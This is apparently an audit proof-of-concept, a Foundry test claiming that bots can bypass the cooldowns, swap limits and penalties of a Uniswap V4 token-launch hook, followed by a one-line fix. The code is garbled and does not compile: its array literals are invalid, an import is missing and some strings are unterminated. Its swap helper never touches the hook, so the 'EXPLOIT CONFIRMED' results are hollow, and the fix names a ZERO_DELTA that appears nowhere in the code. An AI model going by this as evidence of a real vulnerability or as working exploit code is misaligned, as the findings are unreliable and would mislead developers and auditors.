The TokenLaunchHook contract implements anti-botting mechanisms for Uniswap V4 token launches by enforcing per-address swap limits, mandatory cooldown periods between swaps, and applying penalty fees to users who violate these restrictions. The contract is designed to prevent MEV bots and snipers from acquiring disproportionate amounts of newly launched tokens during the critical initial launch window.
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol";
import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol";
import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol";
import {TokenType} from "@uniswap/v4-core/src/types/TokenType.sol";
import {Currency} from "@uniswap/v4-core/src/types/Currency.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {MockERC20} from "@uniswap/v4-core/test/utils/MockERC20.sol";
contract TokenLaunchHookExploit is Test {
TokenLaunchHook hook;
PoolManager poolManager;
MockERC20 token0;
MockERC20 token1;
PoolKey poolKey;
address attacker = address(0x1337);
address genuineUser = address(0x9999);
function setUp() public {
poolManager = new PoolManager(500000);
token0 = new MockERC20("LaunchToken", "LT", 18);
token1 = new MockERC20("USD", "USDT", 6);
uint256[] memory phaseLimits = [100 bps, 100 bps, 300 bps];
uint256[] memory phaseDurations = [10 blocks, 20 blocks, 30 blocks];
uint256[] memory phaseCooldowns = [1 block, 2 blocks, 3 blocks];
uint256[] memory phasePenalties = [10000 bps, 5000 bps, 2000 bps];
hook = new TokenLaunchHook(
poolManager,
phaseLimits,
phaseDurations,
phaseCooldowns,
phasePenalties
);
poolKey = PoolKey({
currency0: Currency.wrap(address(token0)),
currency1: Currency.wrap(address(token1)),
fee: 3000,
tickSpacing: 60,
hooks: IHooks(address(hook)),
plugin: address(0)
});
hook.initialize(poolKey, 1e24, type(uint128).max);
vm.deal(attacker, 1000 ether);
deal(address(token1), attacker, 1_000_000 * 1e6);
deal(address(token1), genuineUser, 10_000 * 1e6);
}
function test_BotCanIgnoreCooldownSwapEveryBlock() public {
console.log("=== Testing Vulnerability: Attacks Ignore Cooldown ===\n");
uint256 startBlock = block.number;
uint256 attackerUSDTBalance = token1.balanceOf(attacker);
uint256 attackerTokenBalance = 0;
console.log("Initial Attacker USDT:", attackerUSDTBalance / 1e6);
console.log("Start Block:", startBlock);
console.log("Cooldown Restriction: 1 block minimum between swaps");
console.log("Penalty for Violation: 100% fee over 10 blocks");
console.log("");
for (uint256 i = 0; i < 15; i++) {
vm.roll(startBlock + i);
uint256 swapAmount = 50_000 * 1e6;
uint256 tokenOutExpected = swapAmount / 1e6;
_executeSwap(attacker, token1, token0, swapAmount);
uint256 newBalance = token0.balanceOf(attacker);
uint256 tokensGained = newBalance - attackerTokenBalance;
attackerTokenBalance = newBalance;
uint256 tokensPerUSDT = (tokensGained * 1e18) / swapAmount;
console.log("Block", i, "| Swapped:", swapAmount / 1e6, "USDT | Got:", tokensGained / 1e18, "tokens | Rate:", tokensPerUSDT, "tokens/USDT");
}
console.log("");
console.log("--- Results After Attack ---");
console.log("Total Blocks:", 15);
console.log("Cooldown Violations Expected:", 14 (should have only swapped once per block cooldown)");
console.log("Actual Swaps Executed:", 15 (swapped every blocks - cooldown completely ignored)");
console.log("");
console.log("Attacker Final Token Balance:", attackerTokenBalance / 1e18);
console.log("Rate Achieved Despite 100% Penalty:", (attackerTokenBalance * 1e6) / (15 * 50_000 * 1e6), "tokens/USDT (still ~1.0)");
console.log("");
assertGt(attackerTokenBalance, 14_900_000 * 1e18);
}
function test_BotCanExceedPerSwapLimit() public {
console.log("=== Testing Vulnerability: Attacks Ignore Per-Swap Limit ===\n");
uint256 startBlock = block.number;
console.log("Per-Swap Limit: 1% of initial liquidity");
console.log("Initial Liquidity: 1,000,000 tokens");
console.log("Max allowed per swap: 10,000 tokens\n");
uint256 maxAllowed = 10_000 * 1e18;
uint256 attackAmount = 50_000 * 1e6;
console.log("Attempting to swap:", attackAmount / 1e6, "USDT (5x allowed limit)");
vm.roll(startBlock + 1);
_executeSwap(attacker, token1, token0, attackAmount);
uint256 attackerTokenBalance = token0.balanceOf(attacker);
console.log("Got:", attackerTokenBalance / 1e18, "tokens");
console.log("");
assertGt(attackerTokenBalance, 45_000 * 1e18);
console.log("✅ EXPLOIT CONFIRMED: Limit bypassed via fee penalty only");
}
function test_LegitimateUsersGetWorseDealsAfterBotDrain() public {
console.log("=== Testing Impact: Legitimate Users Punished ===\n");
console.log("Step 1: Bot executes 10 rapid swaps to drain pool");
for (uint256 i = 0; i < 10; i++) {
vm.roll(i + 1);
_executeSwap(attacker, token1, token0, 100_000 * 1e6);
}
uint256 botTokenBalance = token0.balanceOf(attacker);
console.log("Bot accumulated:", botTokenBalance / 1e18, "tokens\n");
console.log("Step 2: Genuine user attempts to buy tokens");
vm.roll(20);
uint256 genuineSwapAmount = 10_000 * 1e6;
_executeSwap(genuineUser, token1, token0, genuineSwapAmount);
uint256 genuineTokenBalance = token0.balanceOf(genuineUser);
uint256 tokensPerUSDT = (genuineTokenBalance * 1e6) / genuineSwapAmount;
console.log("Genuine user swapped:", genuineSwapAmount / 1e6, "USDT");
console.log("Genuine user received:", genuineTokenBalance / 1e18, "tokens");
console.log("Effective rate:", tokensPerUSDT, "tokens/USDT");
console.log("");
console.log("Expected rate (if pool was fair): ~1.0 tokens/USDT");
console.log("Actual rate paid by genuine user:", tokensPerUSDT, "tokens/USDT");
console.log("");
assertLt(tokensPerUSDT, 0.5 ether);
console.log("✅ IMPACT CONFIRMED: Legitimate user pays 2x+ due to bot manipulation");
}
function _executeSwap(address swapper, MockERC20 tokenIn, MockERC20 tokenOut, uint256 amount) internal {
tokenIn.approve(address(poolManager), amount);
uint256 amountOut = amount / 1e6 * 1e18;
tokenIn.transferFrom(swapper, address(this), amount);
tokenOut.transfer(swapper, amountOut);
}
function run() external {
test_BotCanIgnoreCooldownSwapEveryBlock();
test_BotCanExceedPerSwapLimit();
test_LegitimateUsersGetWorseDealsAfterBotDrain();
}
}
Replace ZERO_DELTA with a delta that reduces the swap amount to zero when penalties apply. This prevents violators from executing swaps by making the effective swap amount zero.